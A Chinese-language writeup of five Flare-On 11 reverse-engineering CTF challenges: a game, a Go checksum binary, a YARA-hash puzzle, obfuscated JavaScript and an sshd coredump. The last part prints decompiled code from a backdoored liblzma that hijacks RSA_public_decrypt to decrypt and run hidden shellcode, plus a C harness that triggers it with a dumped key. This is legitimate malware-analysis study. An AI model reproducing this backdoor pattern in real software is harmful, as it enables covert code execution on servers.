Flare-On CTF 11-writeup

2024-11-13

Flare-on CTF 11-writeup

Author: 堇姬Naup

雖然不是玩reverse的,不過感覺蠻好玩的,所以還是跑來打flare-on CTF了
結果是解了 5/10,其中有解出第五題大家都說很難的題目

1-frog

首先是第一題算是簽到題,是一個pygame做的小遊戲,並且有給source code

看了一下,當我到達 victory_tile.x 跟 victory_tile.y 就會噴出flag

1
2
3
4
5
6
# are they on the victory tile? if so do victory
if player.x == victory_tile.x and player.y == victory_tile.y:
victory_mode = True
flag_text = GenerateFlagText(player.x, player.y)
flag_text_surface = flagfont.render(flag_text, False, pygame.Color('black'))
print("%s" % flag_text)

當到達 (10、10),也就是flare on雕像的右下角,就可以get flag

1
victory_tile = pygame.Vector2(10, 10)

這邊可以看到生成圍牆,如果我把一些block刪除掉,就可以到達victory了

1
2
3
4
5
6
7
8
def BuildBlocks():
blockset = [
Block(3, 2, False),
Block(4, 2, False),
Block(5, 2, False),
Block(6, 2, False),
Block(7, 2, False),
Block(8, 2, False),

我刪掉了

1
2
Block(5, 2, False),
Block(6, 4, False),

移動frog到終點就get flag

2 - checksum

golang逆向
前面有加減乘除,他會random round數以及哪兩個數字並相加

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
while ( (unsigned __int64)&v135 <= *(_QWORD *)(v1 + 16) )
runtime_morestack_noctxt();
round_random = math_rand_v2__ptr_Rand_uint64n(math_rand_v2_globalRand, 5LL);
ans_plus = (int *)runtime_newobject(&RTYPE_int);
for ( i = 0LL; ; i = v140 + 1 )
{
ROUND = round_random + 3;
if ( i >= round_random + 3 )
break;
v140 = i;
num1 = math_rand_v2__ptr_Rand_uint64n(math_rand_v2_globalRand, 10000LL);
num2 = math_rand_v2__ptr_Rand_uint64n(math_rand_v2_globalRand, 10000LL);
v161 = v2;
v162 = v2;
v16 = runtime_convT64(num1, 10000, v11, v0, ROUND, v12, v13, v14, v15, v120);
*(_QWORD *)&v161 = &RTYPE_int;
*((_QWORD *)&v161 + 1) = v16;
v21 = runtime_convT64(num2, 10000, (int)&RTYPE_int, v0, ROUND, v17, v18, v19, v20, v121);
*(_QWORD *)&v162 = &RTYPE_int;
*((_QWORD *)&v162 + 1) = v21;
plus_result = num1 + num2;
fmt_Fprintf(21LL, &v161, (const char *)(num1 + num2), "Check sum: %d + %d = ", 2LL, 2LL);
v160[0] = &RTYPE__ptr_int;
v160[1] = ans_plus;
v22 = os_Stdin;
fmt_Fscanf(
3LL,
v160,
(const char *)ans_plus,
"%d\n%s\nnil01_\\\\?adxaesshaavxfmaEOF m=125625nanNaNintmapptr...finobjgc %: gp *(in n= )\n - P MPC= < end > ]:\n???pc= Gopenread",
1LL,
1LL);

多做幾次他就會跳出來了
以上都是煙霧彈

當通過上面的部分後,會讓你輸入checksum,之後進入main_a

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
len = v85;
v97 = runtime_slicebytetostring((unsigned int)&v134, v85, v90, v79, v90, v91, v86, (_DWORD)v87, v88, v125, v130, v132);
if ( len == p_string->len )
{
len = (__int64)p_string->ptr;
if ( (unsigned __int8)runtime_memequal(v97, p_string->ptr) )
{
len = p_string->len;
v98 = main_a(p_string->ptr, len, (__int64)p_string, v79, v90, v99, v100, v101, v102);
}
else
{
v98 = 0;
}
}

重點關注main_a(以下我有簡單改過變數名稱了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
__int64 __golang main_a(
void *p_string,
__int64 lengrh,
__int64 a3,
__int64 a4,
__int64 a5,
__int64 a6,
__int64 a7,
__int64 a8,
__int64 a9)
{
__int64 v9; // r14
__int64 v10; // rax
const char *v11; // r8
int v12; // r9d
int v13; // r10d
int v14; // r11d
_BYTE *v16; // rdx
__int64 idx; // rbx
_BYTE *v18; // rdi
unsigned __int64 v19; // rax
char v20; // dl
__int64 v21; // rbx
__int64 v22; // rax
__int64 v24; // [rsp-20h] [rbp-28h]
__int64 v25; // [rsp-20h] [rbp-28h]
__int64 v26; // [rsp-18h] [rbp-20h]
__int64 v27; // [rsp-18h] [rbp-20h]
_BYTE *v28; // [rsp+0h] [rbp-8h]
void *retaddr; // [rsp+10h] [rbp+8h] BYREF
void *v30; // [rsp+18h] [rbp+10h]

while ( (unsigned __int64)&retaddr <= *(_QWORD *)(v9 + 16) )
{
v30 = p_string;
runtime_morestack_noctxt(p_string, lengrh, a3, a4, a5, a6, a7, a8, a9);
p_string = v30;
}
if ( !p_string )
p_string = &runtime_noptrbss;
v28 = p_string;
v10 = runtime_makeslice((unsigned int)&RTYPE_uint8, lengrh, lengrh, a4, a5, a6, a7, a8, a9, v24, v26);
v16 = v28;
for ( idx = 0LL; lengrh > idx; ++idx )
{
a5 = v10;
v18 = v16;
v19 = idx - 11 * ((__int64)((unsigned __int128)(idx * (__int128)0x5D1745D1745D1746LL) >> 64) >> 2);
v20 = v16[idx];
if ( v19 >= 0xB )
runtime_panicIndex(v19, idx, 11LL, v18);
v11 = "FlareOn2024bad verb '%0123456789_/dev/stdout/dev/stderrCloseHandleOpenProcessGetFileTypeshort write30517578125bad argSizemethodargs(reflect.SetProcessPrngMoveFileExWNetShareAddNetShareDeluserenv.dllassistQueuenetpollInitreflectOffsglobalAllocmSpanManualstart traceclobberfreegccheckmarkscheddetailcgocall nilunreachable s.nelems= of size runtime: p ms clock, nBSSRoots=runtime: P exp.) for minTrigger=GOMEMLIMIT=bad m value, elemsize= freeindex= span.list=, npages = tracealloc( p->status= in status idleprocs= gcwaiting= schedtick= timerslen= mallocing=bad timedivfloat64nan1float64nan2float64nan3float32nan2GOTRACEBACK) at entry+ (targetpc= , plugin: runtime: g : frame.sp=created by broken pipebad messagefile existsbad addressRegCloseKeyCreateFileWDeleteFileWExitProcessFreeLibrarySetFileTimeVirtualLockWSARecvFromclosesocketgetpeernamegetsocknamecrypt32.dllmswsock.dllsecur32.dllshell32.dlli/o timeoutavx512vnniwavx512vbmi2LocalAppDatashort buffer152587890625762939453125OpenServiceWRevertToSelfCreateEventWGetConsoleCPUnlockFileExVirtualQueryadvapi32.dlliphlpapi.dllkernel32.dllnetapi32.dllsweepWaiterstraceStringsspanSetSpinemspanSpecialgcBitsArenasmheapSpecialgcpacertracemadvdontneedharddecommitdumping heapchan receivelfstack.push span.limit= span.state=bad flushGen MB stacks, worker mode nDataRoots= nSpanRoots= wbuf1=<nil> wbuf2=<nil> gcscandone runtime: gp= found at *( s.elemsize= B (";
v12 = (unsigned __int8)aTrueeeppfilepi[v19 + 3060];
*(_BYTE *)(a5 + idx) = v12 ^ v20;
v10 = a5;
v16 = v18;
}
v21 = v10;
v22 = encoding_base64__ptr_Encoding_EncodeToString(
runtime_bss,
v10,
lengrh,
lengrh,
a5,
(_DWORD)v11,
v12,
v13,
v14,
v25,
v27);
if ( v21 == 88 )
return runtime_memequal(
v22,
"cQoFRQErX1YAVw1zVQdFUSxfAQNRBXUNAxBSe15QCVRVJ1pQEwd/WFBUAlElCFBFUnlaB1ULByRdBEFdfVtWVA==");
else
return 0LL;
}

checksum輸進去就是xor而已
他會去跟aTrueeeppfilepi[v19 + 3060]開始做xor

1
2
3
.rdata:00000000004C8030                 db '2bf16FlareOn2024bad verb ',27h,'%0123456789_/dev/stdout/dev/stder'
.rdata:00000000004C806B db 'rCloseHandleOpenProcessGetFileTypeshort write30517578125bad argSi'
.rdata:00000000004C80AC db 'zemethodargs(reflect.SetProcessPrngMoveFileExWNetShareAddNetShare'

那位置就是 FlareOn2024

1
2
3
4
5
6
7
from pwn import xor
import base64

f = base64.b64decode("cQoFRQErX1YAVw1zVQdFUSxfAQNRBXUNAxBSe15QCVRVJ1pQEwd/WFBUAlElCFBFUnlaB1ULByRdBEFdfVtWVA==")
b = "FlareOn2024"

print(xor(f, b))

將他輸入到checksum(REAL_FLAREON_FLAG.JPG)後圖片會生成到你的電腦上
他有寫他輸出到哪裡不過我看不是很懂,所以直接用

把圖片從電腦裡抓出來

3 - aray

1
2
3
4
5
6
7
8
9
import "hash"

rule aray
{
meta:
description = "Matches on b7dc94ca98aa58dabb5404541c812db2"
condition:
filesize == 85 and hash.md5(0, filesize) == "b7dc94ca98aa58dabb5404541c812db2" and filesize ^ uint8(1
...

這個題目是個yara rule file,有點亂,我先寫個腳本dump出我的條件,並排序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
file_size
filesize == 85
0
uint8(0) % 25 < 25
filesize ^ uint8(0) != 16
filesize ^ uint8(0) != 41
uint8(0) & 128 == 0
uint8(0) < 129
uint8(0) > 30
1
uint8(1) > 19
uint8(1) % 17 < 17
uint8(1) & 128 == 0
uint8(1) < 158
filesize ^ uint8(1) != 232
filesize ^ uint8(1) != 0
2
filesize ^ uint8(2) != 205
filesize ^ uint8(2) != 54
uint8(2) % 28 < 28
uint8(2) + 11 == 119
uint8(2) > 20
...

先來解釋一下每種不同函數的意思

函數 意思
uint8(x) 一個bytes,x是索引
uint32(x) 四個bytes,代表[x:x+4]
hash.md5(x,y) 代表[x:x+y]md5
hash.crc32(x,y) 代表[x:x+y]crc32
hash.sha256(x,y) 代表[x:x+y]sha256

只要我們找出一個長度是85字串能符合上面條件的就是flag
一開始還原就會遇到問題了,uint8給的條件太少,單看uint8基本上所有printable char都會符合
所以先來做hash還原,只有兩個bytes直接爆破

md5腳本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import hashlib
import itertools
import string

target_hash = '738a656e8e8ec272ca17cd51e12f558b'

characters = string.ascii_letters + string.digits + string.punctuation

for candidate in itertools.product(characters, repeat=2):
candidate_str = ''.join(candidate)
candidate_hash = hashlib.md5(candidate_str.encode()).hexdigest()

if candidate_hash == target_hash:
print(f"success: {candidate_str}")
break

sha256腳本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import hashlib
import itertools

target_hash = "593f2d04aab251f60c9e4b8bbc1e05a34e920980ec08351a18459b2bc7dbf2f6"

for candidate in itertools.product(map(chr, range(32, 127)), repeat=2):
input_string = ''.join(candidate)

sha256_hash = hashlib.sha256(input_string.encode()).hexdigest()

if sha256_hash == target_hash:
print(f"{input_string}")
break

crc32腳本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import zlib
import itertools

target_crc32 = 0x7cab8d64

for candidate in itertools.product(map(chr, range(32, 127)), repeat=2):
input_string = ''.join(candidate)

calculated_crc32 = zlib.crc32(input_string.encode()) & 0xffffffff

if calculated_crc32 == target_crc32:
print(f"找到匹配: {input_string}")
break

可以爆破出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
md5
hash.md5(0, filesize) == "b7dc94ca98aa58dabb5404541c812db2"
hash.md5(0, 2) == "89484b14b36a8d5329426a3d944d2983" # ru
hash.md5(76, 2) == "f98ed07a4d5f50f7de1410d905f1477f" # io
hash.md5(50, 2) == "657dae0913ee12be6fb2a6f687aae1c7" # 3A
hash.md5(32, 2) == "738a656e8e8ec272ca17cd51e12f558b" # ul
crc
hash.crc32(8, 2) == 0x61089c5c # re
hash.crc32(34, 2) == 0x5888fc1b # eA
hash.crc32(63, 2) == 0x66715919 # n.
hash.crc32(78, 2) == 0x7cab8d64 # n:
sha256
hash.sha256(14, 2) == "403d5f23d149670348b147a15eeb7010914701a7e99aad2e43f90cfa0325c76f" # <空格>s
hash.sha256(56, 2) == "593f2d04aab251f60c9e4b8bbc1e05a34e920980ec08351a18459b2bc7dbf2f6" # fl

再來是uint32條件都是通過簡單加減法或xor運算,不是一個range,所以可以直接還原

1
2
3
4
5
6
7
8
9
10
11
12
13
uint32(52) ^ 425706662 == 1495724241
uint32(17) - 323157430 == 1412131772
uint32(59) ^ 512952669 == 1908304943
uint32(28) - 419186860 == 959764852
uint32(66) ^ 310886682 == 849718389
uint32(10) + 383041523 == 2448764514
uint32(37) + 367943707 == 1228527996
uint32(22) ^ 372102464 == 1879700858
uint32(46) - 412326611 == 1503714457
uint32(70) + 349203301 == 2034162376
uint32(80) - 473886976 == 69677856
uint32(3) ^ 298697263 == 2108416586
uint32(41) + 404880684 == 169911433

做到這裡就會發現其實flag應該只有中間的一小段是
上述條件還原後只會差一兩個flag沒有拿到
我是直接推理,把字元填進去就拿到flag了

1RuleADayK33p$Malw4r3Aw4y@flare-on.com

原本想寫z3但遇到一些問題,後來手逆花了一小時多就解玩了

4 - Meme Maker 3000

一個網頁,是JS混淆題目

其中最重要的就是這段了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function a0k() {
const t = a0p
, a = a0g[t(0xa1d)]['split']('/')[t(0x7e8)]();
if (a !== Object[t(0x59c5)](a0e)[0x5])
return;
const b = a0l['textCo' + 'ntent']
, c = a0m[t(0x10f5a) + t(0x125ab)]
, d = a0n['textCo' + 'ntent'];
if (a0c[t(0x12d23) + 'f'](b) == 0xe && a0c[t(0x12d23) + 'f'](c) == a0c[t(0x1544d)] - 0x1 && a0c[t(0x12d23) + 'f'](d) == 0x16) {
var e = new Date()[t(0x1094a) + 'e']();
while (new Date()[t(0x1094a) + 'e']() < e + 0xbb8) {}
var f = d[0x3] + 'h' + a[0xa] + b[0x2] + a[0x3] + c[0x5] + c[c[t(0x1544d)] - 0x1] + '5' + a[0x3] + '4' + a[0x3] + c[0x2] + c[0x4] + c[0x3] + '3' + d[0x2] + a[0x3] + 'j4' + a0c[0x1][0x2] + d[0x4] + '5' + c[0x2] + d[0x5] + '1' + c[0xb] + '7' + a0c[0x15][0x1] + b[t(0x15e39) + 'e']('\x20', '-') + a[0xb] + a0c[0x4][t(0x9a82) + t(0x1656b)](0xc, 0xf);
f = f[t(0x143fc) + t(0x8c67)](),
alert(atob(t(0x14e2b) + t(0x4c22) + 'YXRpb2' + t(0x1708e) + t(0xaa98) + t(0x16697) + t(0x109c4)) + f);
}
}

當他滿足一些條件後就會alert出flag給你,那就來修復a、b、c、d分別是甚麼吧

a比較複雜,先看b、c、d

1
b = a0l['textCo' + 'ntent']

b是a0l

1
a0l = document[a0p(0xcd59) + a0p(0x11e77) + 'Id']('captio' + 'n1')

a0p(0xcd59) + a0p(0x11e77) + 'Id'getElementById
所以整句其實就是

1
document['getElementById']('caption1')

也就是

1
<div id="caption1" class="caption" contenteditable="" style="top: 10%; left: 75%;">FLARE On</div>

textContent就是它包含的字
所以是比較上述東西有沒有等於(t=a0p)

1
a0c[a0p(0x12d23) + 'f'](b) == 0xe

也就是

1
a0c['indexOf'](b) == 0xe

a0c[0xe]是FLARE On

再來是c

1
a0m = document[a0p(0xcd59) + a0p(0x11e77) + 'Id'](a0p(0x14b7b) + 'n2')

修成

1
document['getElementById']('caption2')

也就是

1
<div id="caption2" class="caption" contenteditable="" style="top: 55%; left: 75%;">Reading someone else's code</div>
1
a0m[a0p(0x10f5a) + a0p(0x125ab)]

就是textContent -> 包含的字

1
a0c[a0p(0x12d23) + 'f'](c) == a0c[a0p(0x1544d)] - 0x1

他的意思是

1
2
3
a0c['indexOf'](c) == a0c[length] - 0x1
a0c['indexOf'](c) == 25
Security Expert

最後是 d,就不贅述,就是

1
2
3
4
a0c[a0p(0x12d23) + 'f'](d) == 0x16
a0c['indexOf'](d) == 0x16
a0c[0x16]
Malware

這樣就得到了

1
2
3
b = 'FLARE On',
c = 'Security Expert',
d = 'Malware'

回到a

1
2
a = a0g[t(0xa1d)]['split']('/')[a0p(0x7e8)]();
a = a0g.alt.split('/').pop()

他需要滿足

1
a !== Object[a0p(0x59c5)](a0e)[0x5]

也就是

1
a !== Object['key'](a0e)[0x5]

這邊往上追可以看到這個

1
2
3
4
const a0g = document[a0p(0xcd59) + a0p(0x11e77) + 'Id'](a0p(0x1b97) + a0p(0xf101))
, a0h = document[a0p(0xcd59) + a0p(0x11e77) + 'Id'](a0p(0x10ea7) + a0p(0xc6b6) + 'er')
, a0i = document[a0p(0xcd59) + 'mentBy' + 'Id'](a0p(0xfb23))
, a0j = document[a0p(0xcd59) + 'mentBy' + 'Id'](a0p(0x10757) + a0p(0x1757a) + 'e');

還原完後變這樣

1
2
3
4
const a0g = document.getElementById('meme-image'),
a0h = document.getElementById('meme-container'),
a0i = document.getElementById('remake'),
a0j = document.getElementById('meme-template')

既然他是抓a0g.alt,那就去追a0g相關條件

1
2
a0g[s(0xa1d)] = a0j[s(0x3b9f)],
a0g.alt = a0j.value

追a0j.value是,也就是他圖片的名稱

1
2
3
4
5
6
7
8
9
10
<select id="meme-template">
<option value="doge1.png">Doge</option>
<option value="draw.jpg">Draw 25</option>
<option value="drake.jpg">Drake</option>
<option value="two_buttons.jpg">Two Buttons</option>
<option value="boy_friend0.jpg">Distracted Boyfriend</option>
<option value="success.jpg">Success</option>
<option value="disaster.jpg">Disaster</option>
<option value="aliens.jpg">Aliens</option>
</select>

Object.keys(a0e)[5]boy_friend0.jpg
這樣就還原了

1
a = 'boy_friend0.jpg'

最後直接改javascript的a b c d 值成我們要的就get flag

後來發現線上反混淆器可以很好的直接還原大多數東西
https://deobfuscate.relative.im/

5-sshd

這題非常有趣,首先我他提敘說因為crash,要我們找出crash的點,先gdb分析他的coredump(/home/naup/Desktop/flareon5/var/lib/systemd/coredump/sshd.core.93794.0.0.11.1725917676)

用這樣來debug coredump

1
gdb /home/naup/Desktop/flareon5/usr/sbin/sshd sshd.core.93794.0.0.11.1725917676

一開始看到他死在call null byt

用bt回朔,發現他是在liblzma.so.5,crash點在0x00007f4a18c8f88f

這區段被delete了,應該就是binary載入liblzma.so.5的區段
0x00007f4a18c8f88f-0x7f4a18c86000 = offset(0x988f)

先把liblzma抓下來分析吧

1
2
3
4
5
.text:0000000000009887                 mov     rsi, rbp
.text:000000000000988A mov edi, r12d
.text:000000000000988D call rax
.text:000000000000988F mov rbx, [rsp+128h+var_40]
.text:0000000000009897 xor rbx, fs:28h

這邊應該就是crash的點,他call rax時,call到了Null pointer
這邊是一個decrypt相關的函數

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 __fastcall sub_9820(unsigned int a1, _DWORD *a2, __int64 a3, __int64 a4, unsigned int a5)
{
const char *v9; // rsi
void *v10; // rax
void *v12; // rax
void (*v13)(void); // [rsp+8h] [rbp-120h]
char v14[200]; // [rsp+20h] [rbp-108h] BYREF
unsigned __int64 v15; // [rsp+E8h] [rbp-40h]

v15 = __readfsqword(0x28u);
v9 = "RSA_public_decrypt";
if ( !getuid() )
{
if ( *a2 == -985630136 )
{
sub_93F0(v14, a2 + 1, a2 + 9, 0LL);
v12 = mmap(0LL, dword_32360, 7, 34, -1, 0LL);
v13 = (void (*)(void))memcpy(v12, &unk_23960, dword_32360);
sub_9520(v14, v13, dword_32360);
v13();
sub_93F0(v14, a2 + 1, a2 + 9, 0LL);
sub_9520(v14, v13, dword_32360);
}
v9 = "RSA_public_decrypt ";
}
v10 = dlsym(0LL, v9);
return ((__int64 (__fastcall *)(_QWORD, _DWORD *, __int64, __int64, _QWORD))v10)(a1, a2, a3, a4, a5);
}

中間有一整塊很像寫shellcode的區塊
他需要滿足一些條件
他先mmap了一塊記憶體v12
之後copy記憶體大小的東西(unk_23960)到v12中並返回pointer
這東西看起來像是encrypt過的shellcode

之後進到了sub_9520(那猜測這東西就是decrypt shellcode的function)
之後會去call v13
也就是shellcode
這邊我們回去看assembly,嘗試從coredump紀錄的memory抓出可以用的東西
這裡是開頭,當他去call getuid後回傳值存到rax裡面,之後看eax是不是0,rbp是不是0xC5407A48,是的話就會跳進去shellcode的部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
.text:0000000000009820 ; __unwind {
.text:0000000000009820 endbr64
.text:0000000000009824 push r15
.text:0000000000009826 push r14
.text:0000000000009828 mov r14, rcx
.text:000000000000982B push r13
.text:000000000000982D mov r13, rdx
.text:0000000000009830 push r12
.text:0000000000009832 mov r12d, edi
.text:0000000000009835 push rbp
.text:0000000000009836 mov rbp, rsi
.text:0000000000009839 push rbx
.text:000000000000983A mov ebx, r8d
.text:000000000000983D sub rsp, 0F8h
.text:0000000000009844 mov rax, fs:28h
.text:000000000000984D mov [rsp+128h+var_40], rax
.text:0000000000009855 xor eax, eax
.text:0000000000009857 call _getuid
.text:000000000000985C lea rsi, aRsaPublicDecry ; "RSA_public_decrypt"
.text:0000000000009863 test eax, eax
.text:0000000000009865 jnz short loc_9877
.text:0000000000009867 cmp dword ptr [rbp+0], 0C5407A48h
.text:000000000000986E jz short loc_98C0

這裡在做的事基本上跟上述說明的一樣

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
.text:00000000000098C0 loc_98C0:                               ; CODE XREF: sub_9820+4E↑j
.text:00000000000098C0 lea r11, [rbp+24h]
.text:00000000000098C4 lea r10, [rbp+4]
.text:00000000000098C8 xor ecx, ecx
.text:00000000000098CA lea r15, [rsp+128h+var_108]
.text:00000000000098CF mov rdx, r11
.text:00000000000098D2 mov rsi, r10
.text:00000000000098D5 mov [rsp+128h+var_110], r11
.text:00000000000098DA mov rdi, r15
.text:00000000000098DD mov [rsp+128h+var_118], r10
.text:00000000000098E2 call sub_93F0
.text:00000000000098E7 xor r9d, r9d ; offset
.text:00000000000098EA mov ecx, 22h ; '"' ; flags
.text:00000000000098EF xor edi, edi ; addr
.text:00000000000098F1 movsxd rsi, cs:dword_32360 ; len
.text:00000000000098F8 mov r8d, 0FFFFFFFFh ; fd
.text:00000000000098FE mov edx, 7 ; prot
.text:0000000000009903 call _mmap
.text:0000000000009908 movsxd rdx, cs:dword_32360 ; n
.text:000000000000990F lea rsi, unk_23960 ; src
.text:0000000000009916 mov rdi, rax ; dest
.text:0000000000009919 call _memcpy
.text:000000000000991E movsxd rdx, cs:dword_32360
.text:0000000000009925 mov rdi, r15
.text:0000000000009928 mov rsi, rax
.text:000000000000992B mov [rsp+128h+var_120], rax
.text:0000000000009930 call sub_9520
.text:0000000000009935 mov r8, [rsp+128h+var_120]
.text:000000000000993A xor eax, eax
.text:000000000000993C call r8
.text:000000000000993F mov r11, [rsp+128h+var_110]
.text:0000000000009944 mov r10, [rsp+128h+var_118]
.text:0000000000009949 mov rdi, r15
.text:000000000000994C xor ecx, ecx
.text:000000000000994E mov rdx, r11
.text:0000000000009951 mov rsi, r10
.text:0000000000009954 call sub_93F0
.text:0000000000009959 mov r8, [rsp+128h+var_120]
.text:000000000000995E movsxd rdx, cs:dword_32360
.text:0000000000009965 mov rdi, r15
.text:0000000000009968 mov rsi, r8
.text:000000000000996B call sub_9520
.text:0000000000009970 jmp loc_9870

之後進入,也就是透過dlsym解析成對應的function,之後call rax crash了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
.text:0000000000009870 loc_9870:                               ; CODE XREF: sub_9820+150↓j
.text:0000000000009870 lea rsi, name ; "RSA_public_decrypt "
.text:0000000000009877
.text:0000000000009877 loc_9877: ; CODE XREF: sub_9820+45↑j
.text:0000000000009877 xor edi, edi ; handle
.text:0000000000009879 call _dlsym
.text:000000000000987E mov r8d, ebx
.text:0000000000009881 mov rcx, r14
.text:0000000000009884 mov rdx, r13
.text:0000000000009887 mov rsi, rbp
.text:000000000000988A mov edi, r12d
.text:000000000000988D call rax
.text:000000000000988F mov rbx, [rsp+128h+var_40]
.text:0000000000009897 xor rbx, fs:28h
.text:00000000000098A0 jnz loc_9975
.text:00000000000098A6 add rsp, 0F8h
.text:00000000000098AD pop rbx
.text:00000000000098AE pop rbp
.text:00000000000098AF pop r12
.text:00000000000098B1 pop r13
.text:00000000000098B3 pop r14
.text:00000000000098B5 pop r15
.text:00000000000098B7 retn

看到這裡應該是有點複雜了,所以我打算用動態的方式來去看,不過這是一個libc,所以我們寫一個簡單的libc program來去引用該libc
用dlopen開啟libc,之後去抓一個libc中隨便的function丟進dlsym來去抓到正確的libc位置
之後減去他的offset拿到libcbase,最後在找到decrypt函數的function跳進去就好了

1
void* dlsym(void* handle,const char* symbol)

該函數在<dlfcn.h>文件中。
handle是由dlopen打開動態鏈接庫後返回的指針,symbol就是要求獲取的函數的名稱,函數 返回值是void*,指向函數的地址,供調用使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>

typedef void (*function_t)();

int main() {

void *handle = dlopen("./liblzma.so", RTLD_LAZY);
if (!handle) {
fprintf(stderr, "Error: %s\n", dlerror());
return EXIT_FAILURE;
}
void *symbol_address = dlsym(handle, "lzma_crc64");
printf("leaklibc: %p\n", symbol_address);
void *libcbase = (char *)symbol_address-0x15240;

printf("libcbase: %p\n", libcbase);
function_t func = (function_t)((char *)libcbase + 0x9820);
func();

dlclose(handle);
return EXIT_SUCCESS;
}

這樣編譯debug腳本

1
gcc -o libczma_debugger exp.c -ldl -g

我們先來整理一下每個函數

函數名稱 用途 rdi rsi rdx rcx
sub_9820 libc function a1 a2 a3 a4
sub_93F0 推測是抓到key v14 a2+1 a2+9 0LL
mmap 映射記憶體,存放shellcode 0LL dword_32360 7 34
memcpy copy shellcode到mmap memory上 v12 &unk_23960 dword_32360
sub_9520 解密shellcode v14 v13 dword_32360

有了上面函數狀況,我們就gdb來看看吧,由於不知道這些參數代表甚麼,所以先跟進去看sub_9820

1
2
3
4
5
6
7
8
9
10
► 0x7ffff7f79820    endbr64 
0x7ffff7f79824 push r15
0x7ffff7f79826 push r14
0x7ffff7f79828 mov r14, rcx R14 => 1
0x7ffff7f7982b push r13
0x7ffff7f7982d mov r13, rdx R13 => 0x7ffff7f79820 ◂— endbr64
0x7ffff7f79830 push r12
0x7ffff7f79832 mov r12d, edi R12D => 0xffffd6d0
0x7ffff7f79835 push rbp
0x7ffff7f79836 mov rbp, rsi RBP => 0x55555555b0b0 ◂— 'libcbase: 0x7ffff7f70000\n'

首先關注的是call function的rsi
他會傳入 sub_93F0 的 a2+1、a2+9,大概就可以猜測出這是一個offset,也就定位到key的位置,而rsi會copy 到 rbp(0x7ffff7f79836)

順帶一提,這邊想測試進到shellcode的部分,所以用這兩行跳過判斷

1
2
set $rax = 0
set {int} $rbp = 0xc5407a48

之後就會進到這塊,原本的rbp位置+0x4被推入了r10,r10移入rsi,call sub_93F0,所以rbp上那塊布局應該是前4byte是 0xc5407a48,之後開始是shellcode,Dword(4 byte) * 8 = 32是key長度

1
2
3
4
5
6
7
8
9
10
  0x7ffff7f798c0    lea    r11, [rbp + 0x24]               R11 => 0x55555555b0d4 ◂— 0
0x7ffff7f798c4 lea r10, [rbp + 4] R10 => 0x55555555b0b4 ◂— 'base: 0x7ffff7f70000\n'
0x7ffff7f798c8 xor ecx, ecx ECX => 0
0x7ffff7f798ca lea r15, [rsp + 0x20] R15 => 0x7fffffffdb20 —▸ 0x7fffffffdc50 ◂— 1
0x7ffff7f798cf mov rdx, r11 RDX => 0x55555555b0d4 ◂— 0
► 0x7ffff7f798d2 mov rsi, r10 RSI => 0x55555555b0b4 ◂— 'base: 0x7ffff7f70000\n'
0x7ffff7f798d5 mov qword ptr [rsp + 0x18], r11 [0x7fffffffdb18] => 0x55555555b0d4 ◂— 0
0x7ffff7f798da mov rdi, r15 RDI => 0x7fffffffdb20 —▸ 0x7fffffffdc50 ◂— 1
0x7ffff7f798dd mov qword ptr [rsp + 0x10], r10 [0x7fffffffdb10] => 0x55555555b0b4 ◂— 'base: 0x7ffff7f70000\n'
0x7ffff7f798e2 call 0x7ffff7f793f0 <0x7ffff7f793f0>

當我們回去看coredump時,發現rbp仍指向key位置,所以就把他dump下來(我多dump了一點)

這邊修改一下Debug腳本(前四byte+key)

1
2
3
4
5
6
7
8
9
char key[] = "\x48\x7a\x40\xc5"
"\x94\x3d\xf6\x38"
"\xa8\x18\x13\xe2"
"\xde\x63\x18\xa5"
"\x07\xf9\xa0\xba"
"\x2d\xbb\x8a\x7b"
"\xa6\x36\x66\xd0"
"\x8d\x11\xa6\x5e";

另外我發現main第一個參數應該是shellcode長度,這邊填入0xf96

1
dword_32360     dd 0F96h 

不過還是怪怪的,最後我發現key長度應該要是48 byte(看coredump記憶體上面的東西,直到48byte後才是正確的,所以修正一下)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>

typedef void (*function_t)();

int main() {

void *handle = dlopen("./liblzma.so", RTLD_LAZY);
if (!handle) {
fprintf(stderr, "Error: %s\n", dlerror());
return EXIT_FAILURE;
}
void *symbol_address = dlsym(handle, "lzma_crc64");
printf("leaklibc: %p\n", symbol_address);
void *libcbase = (char *)symbol_address-0x15240;

printf("libcbase: %p\n", libcbase);
function_t func = (function_t)((char *)libcbase + 0x9820);

char key[] = "\x48\x7a\x40\xc5"
"\x94\x3d\xf6\x38\xa8\x18\x13\xe2\xde\x63\x18\xa5\x07\xf9\xa0\xba"
"\x2d\xbb\x8a\x7b\xa6\x36\x66\xd0\x8d\x11\xa6\x5e\xc9\x14\xd6\x6f"
"\xf2\x36\x83\x9f\x4d\xcd\x71\x1a\x52\x86\x29\x55\x58\x58\xd1\xb7"
"\xf9\xa7\xc2\x0d\x36\xde\x0e\x19\xea\xa3\x05\x96\xda\x59\xb9\xb9";
func(0xf96, key);

dlclose(handle);
return EXIT_SUCCESS;
}

shellcode部分看起來正常了,這樣我們就成功還原shellcode,只差看他在做甚麼了

1
